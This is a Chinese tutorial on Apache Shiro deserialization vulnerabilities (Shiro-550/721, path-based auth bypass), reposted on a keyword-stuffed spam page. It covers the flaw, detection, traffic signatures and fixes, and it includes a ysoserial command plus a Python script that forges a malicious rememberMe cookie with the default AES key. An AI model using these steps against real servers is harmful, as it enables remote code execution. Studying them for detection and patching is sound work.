当前位置: 首页 > wzjs >正文

哪些建材网站可以做宣传网络营销心得体会1000字

哪些建材网站可以做宣传,网络营销心得体会1000字,重庆做网站建设,苏州城乡住房建设厅网站文章目录 1. 漏洞原理Shiro 反序列化漏洞的核心Shiro 反序列化漏洞的关键点 2. 漏洞利用**Shiro 反序列化漏洞利用流程** 3. 漏洞检测**1. 识别目标是否使用 Shiro****2. 检测是否存在 Shiro 反序列化漏洞** 流量特征4. 修复方案**1. 升级 Shiro 版本****2. 修改 AES 密钥****3…

文章目录

    • 1. 漏洞原理
      • Shiro 反序列化漏洞的核心
      • Shiro 反序列化漏洞的关键点
    • 2. 漏洞利用
      • **Shiro 反序列化漏洞利用流程**
    • 3. 漏洞检测
      • **1. 识别目标是否使用 Shiro**
      • **2. 检测是否存在 Shiro 反序列化漏洞**
    • 流量特征
    • 4. 修复方案
      • **1. 升级 Shiro 版本**
      • **2. 修改 AES 密钥**
      • **3. 使用更安全的序列化机制**
      • **4. 过滤危险类**
    • 漏洞类型
      • linux出网环境
      • linux不出网环境
      • apache shiro 权限绕过
      • shiro550漏洞
      • shiro 721漏洞

1. 漏洞原理

Apache Shiro 是一个强大的 Java 安全框架,提供身份验证、授权、加密及会话管理功能。Shiro 使用 rememberMe 机制来存储用户会话信息,该机制依赖于加密后的 Cookie。当攻击者能够控制 Cookie 并且服务器使用了不安全的反序列化机制时,就可能造成远程代码执行(RCE)。

Shiro 反序列化漏洞的核心

  • Shiro 的 rememberMe 功能会在 Cookie 中存储用户的身份信息,该数据通常是通过 AES 加密的。
  • 服务器在解析 rememberMe Cookie 时,会进行反序列化操作。
  • 如果攻击者能够伪造 rememberMe Cookie,并利用不安全的 Java 反序列化机制,则可能导致远程代码执行。

Shiro 反序列化漏洞的关键点

  1. 默认密钥问题(Key Hardcoded) :

    • 早期版本(如 Shiro 1.2.4)使用了默认的 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==,攻击者可以利用该密钥解密 Cookie 并伪造恶意数据进行反序列化攻击。
  2. Java 反序列化漏洞:

    • Shiro 反序列化时没有严格限制可反序列化的类,导致攻击者可以利用 CommonsCollectionsJdk7u21 等反序列化 gadget 进行 RCE。

2. 漏洞利用

Shiro 反序列化漏洞利用流程

  1. 获取 Shiro 版本和 AES 密钥

    • 通过访问 rememberMe Cookie 确认目标是否使用 Shiro。
    • 尝试使用 Shiro 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 进行解密。
    • 如果默认密钥无效,可以利用字典或爆破方式尝试其他密钥。
  2. 构造反序列化 payload

    • 使用 ysoserial 工具生成恶意反序列化数据,如 CommonsCollections1:

      java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
      
    • 使用 AES 加密该 payload,并 Base64 编码后写入 rememberMe Cookie:

      from Crypto.Cipher import AES
      import base64key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  # Shiro 默认密钥
      iv = key  # Shiro 使用 CBC 模式,IV = keydef pad(s):  # PKCS7 补全return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)cipher = AES.new(key, AES.MODE_CBC, iv)
      encrypted = base64.b64encode(cipher.encrypt(pad(open("payload.bin", "rb").read())))print("rememberMe=" + encrypted.decode())
      
  3. 发送恶意 Cookie 触发 RCE

    • 通过 Burp Suite 或手动修改 Cookie:

      rememberMe=恶意Base64编码后的数据
      
    • 访问目标网站,触发 Shiro 反序列化漏洞,执行远程命令。


3. 漏洞检测

1. 识别目标是否使用 Shiro

  • 观察 HTTP 响应头:

    • Shiro 默认的 session ID 命名规则:

      Set-Cookie: JSESSIONID=xxxx; Path=/; HttpOnly
      Set-Cookie: rememberMe=deleteMe; Path=/; HttpOnly
      
    • rememberMe=deleteMe 可能表明目标使用 Shiro。

  • 访问 /favicon.ico,如果返回 Shiro 默认的 favicon.ico,说明目标可能使用 Shiro:

    curl -I http://target.com/favicon.ico
    

2. 检测是否存在 Shiro 反序列化漏洞

  • 发送 rememberMe=deleteMe 观察是否被 Shiro 自动删除。
  • 使用已知 AES 密钥加密测试 payload,观察目标是否执行恶意代码。

流量特征

在请求包的Cookie中为?remeberMe字段赋任意值

返回包中存在set-Cookie:remeberMe=deleteMe

URL中有shiro字样

有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可

命令执行成功,返回包处的remeberMe处会有大量的base64编码字符

image

4. 修复方案

1. 升级 Shiro 版本

  • Shiro 1.2.5 及以上版本修复了默认密钥问题,建议升级到最新版本

    <dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.12.0</version>
    </dependency>
    

2. 修改 AES 密钥

  • 避免使用 Shiro 默认密钥,修改 shiro.inishiro-config.properties

    shiro.crypto.key=<随机生成的 Base64 AES 密钥>
    

3. 使用更安全的序列化机制

  • 使用 SimpleSession 代替 Java 反序列化:

    session.setAttribute("rememberMe", YOUR_SECURE_SERIALIZATION_METHOD);
    
  • 采用 KryoJSON 等安全的序列化方式,避免 Java 反序列化漏洞。

4. 过滤危险类

  • 采用 Java ObjectInputFilter 机制:

    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!*;java.util.**;org.apache.shiro.**");
    

漏洞类型

  • linux出网环境

    • 访问网址发现url存在shiro字眼,可以确认是shiro环境

      • image
    • 通过修改cookie字段的信息,返回包那里含有rememberMe=deleteMe字段,说明存在shiro漏洞,直接上工具即可

      • image
  • linux不出网环境

    • 不出网我们可以采用延迟来判断漏洞是否存在
    • 通过脚本会尝试发送不同的密钥(Key)和利用链(Gadget),并观察服务器的响应时间。
    • 如果服务器的响应时间比正常情况延迟了5秒,则说明该 key + gadget 组合有效,Shiro 存在反序列化漏洞
    • 如果某个key和gadget组合以及延时命令success生效了,就是存在的,还区分两个判断windows和linux,最后在写入shell后还对发送命令进行了base64编码后发送
  • apache shiro 权限绕过

    • 漏洞的根本原因

      • shiro的URL拦截器中的路径匹配规则的存在设计缺陷
      • spring MVC处理URL时,会将/hello/hello/视为相同的资源
    • 漏洞复现

      • 不可以访问/admin,但是可以访问/admin/
      • 说明存在权限绕过,可以通过/路径/的形式访问未授权资源
  • shiro550漏洞

    • 原理

      • apache shiro框架提供了记住密码的功能,用户登录成功后会生成经过aes加密base64编码的cookie,在服务端会对rememberme的cookie的值,先base64解码然后aes解密在反序列化,因为aes的秘钥是写死在代码里面,所以导致了反序列化rce漏洞产生
    • 攻击流程

      • 通过勾选登录页面的“记住我”选项并进行登录,抓包观察请求和响应中的rememberMe字段。
      • 使用shiro_attack-2.2.jar工具或python脚本(shiro_exploit.py)进行密钥检测和爆破,确认是否能获取到固定的密钥kPH+bIxk5D2deZiIxcaaaA==。
  • shiro 721漏洞

    • 原理

      • Shiro721与shiro550不同,他的AES加密的key基本猜不到,系统随机生成。可使用登录后的RememberMe来爆破正确的key值,就是利用对加密消息填充错误的反馈,来逐步判断加密数据的内容,就是利用Shiro Cookie签名校验逻辑缺陷,然后构造RememberMe Cookie值来实现反序列化漏洞攻击
http://www.dtcms.com/wzjs/28897.html

相关文章:

  • 建站快车的使用方法软文代写服务
  • 宝丰网站制作效果好公众号排名优化
  • 厚街镇网站仿做广东病毒感染最新消息
  • 做网站需要注意的地方谷歌推广怎么做最有效
  • 网站排名推广怎么做seo要点
  • ppt模板红色主题上海aso优化公司
  • 做浏览单的网站有哪些东莞商城网站建设
  • 新浪微博 wordpress抖音seo怎么收费
  • 网站建设专业的公司看今天的新闻
  • 网络营销网站规划建设百度一下 你就知道首页
  • 有哪些做政府网站的相关公司关于手机的软文营销
  • 怎样查看网站服务商网络新闻发布平台发稿
  • 建设自己的网站seo优化关键词放多少合适
  • ios移动网站开发详解 pdf南宁seo公司
  • 小米发布会汽车seo网站排名助手
  • 怎样查看网站制作公司网站推广服务报价表
  • 宁波建网站找哪家杭州seo营销
  • 北京网站建设公司制作网站十大基本营销方式
  • 云服务器可以做视频网站吗百度推广开户费用标准
  • 怎么做产品网站推广兔子bt樱桃搜索磁力天堂
  • 防制网站怎么做seo专业学校
  • 网站建设优化服务价位代发qq群发广告推广
  • 沧州wap网站制作自制网站
  • 复制网站源码富阳网站seo价格
  • 佛山专业做企业网站石家庄抖音seo
  • 做网站 当站长宁波seo专员
  • 上国外网站的dns百度推广云南总代理
  • wordpress文章 公众号seo搜索引擎优化试题及答案
  • 大香蕉网站人人做潍坊网站模板建站
  • 提高网站关键词排名网站建设网络推广平台